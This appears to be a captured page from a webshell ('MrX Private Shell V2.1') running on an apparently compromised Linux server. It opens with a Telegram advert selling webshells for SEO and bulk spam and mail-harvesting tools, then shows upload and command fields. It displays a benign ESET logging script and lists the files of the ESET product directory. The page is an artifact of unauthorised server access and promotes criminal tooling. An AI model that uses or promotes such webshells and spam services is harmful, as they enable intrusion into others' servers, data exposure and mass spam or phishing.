__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/bin/sh

#set -ex

# This script should be run on customer system to enable ecp logging (activation) for support purpose only.

help() {
	echo 'This is an script used to enable ecp logging for support purpose only.'
	echo
	echo 'Usage:'
	printf "\t%s \n" "$0"
	printf "\t%s -h\n" "$0"
	printf "\t%s -e [-f]\n" "$0"
	printf "\t%s -d [-f]\n" "$0"
	echo
	echo 'Options:'
	printf "\t-h, --help\n\t\tShow this command-line arguments help\n"
	printf "\t-e, --enable\n\t\tEnable ecp logging\n"
	printf "\t-d, --disable\n\t\tDisable ecp logging\n"
	printf "\t-f, --force\n\t\tRestart product without asking\n"
}

FORCE=0
NEED_RESTART=0

for arg in "$@"; do
	case "$arg" in
		-h|--help) help 1>&2; exit 0;;
		-e|--enable) ENABLE=1;;
		-d|--disable) ENABLE=0;;
		-f|--force) FORCE=1;;
		*) echo "ERROR: Unrecognized command-line option '$arg'" 1>&2; exit 2;;
	esac
done

# Print help as default action
if [ -z "${ENABLE}" ]; then
	help 1>&2;
	exit 0;
fi

# Must be run under root user.
if [ "$(id -u)" -ne 0 ]; then
	echo "ERROR: You must run this script as root." >&2
	exit 1
fi

# Find security product
if [ -f "/opt/eset/eea/etc/pkgid" ]; then
	PRODUCT="eea"
elif [ -f "/opt/eset/efs/etc/pkgid" ]; then
	PRODUCT="efs"
else
	echo "ERROR: Security product not found." >&2
	exit 1
fi

INSTALL_PATH="/opt/eset/${PRODUCT}"
LICENSE_VAR_PATH="/var${INSTALL_PATH}/licensed"
LOGS_PATH="${LICENSE_VAR_PATH}/ecp"
CFG_FILE_MASK="license_cfg*.json"

if ps -ef | grep "${INSTALL_PATH}" | grep -v grep >/dev/null ; then
	NEED_RESTART=1
fi

if [ "${NEED_RESTART}" -eq 1 ]; then
	if [ "${FORCE}" -eq 0 ]; then
		printf 'WARNING: Product will be restarted. Do you want to continue? (y/n) '
		read -r r
		case $r in
			[Yy]|[Yy][Ee][Ss]) ;;
			*)	echo 'ERROR: Logging cannot be enabled/disabled without restating product. '
				exit 1;;
		esac
	fi

	if systemctl --version >/dev/null 2>/dev/null; then
		systemctl stop "${PRODUCT}" 2> /dev/null
	else
		echo "ERROR: systemctl not present on system, please stop product manually." 1>&2
		exit 1
	fi
fi

if [ "${ENABLE}" -eq 1 ]; then
	find "${LICENSE_VAR_PATH}" -name "${CFG_FILE_MASK}" -type f -execdir sed -i 's/"Logging"[ \t]*:[ \t]*false/"Logging":true/g' "{}" +
	echo "Logging enabled."
	echo "Logs will be collected here: ${LOGS_PATH}"
else
	find "${LICENSE_VAR_PATH}" -name "${CFG_FILE_MASK}" -type f -execdir sed -i 's/"Logging"[ \t]*:[ \t]*true/"Logging":false/g' "{}" +
	echo "Logging disabled."
fi

if [ "${NEED_RESTART}" -eq 1 ]; then
	if systemctl --version >/dev/null 2>/dev/null; then
		systemctl start "${PRODUCT}" 2> /dev/null
	fi
fi

Filemanager

Name Type Size Permission Actions
cls Folder 0755
cfg File 103.16 KB 0755
cloud File 66.94 KB 0755
collect_logs.sh File 15.98 KB 0755
ecp_logging.sh File 2.52 KB 0755
efs_logs.tar.gz File 3.39 MB 0644
lic File 86.98 KB 0755
setgui File 119.36 KB 0755
startd File 424.4 KB 0755
Filemanager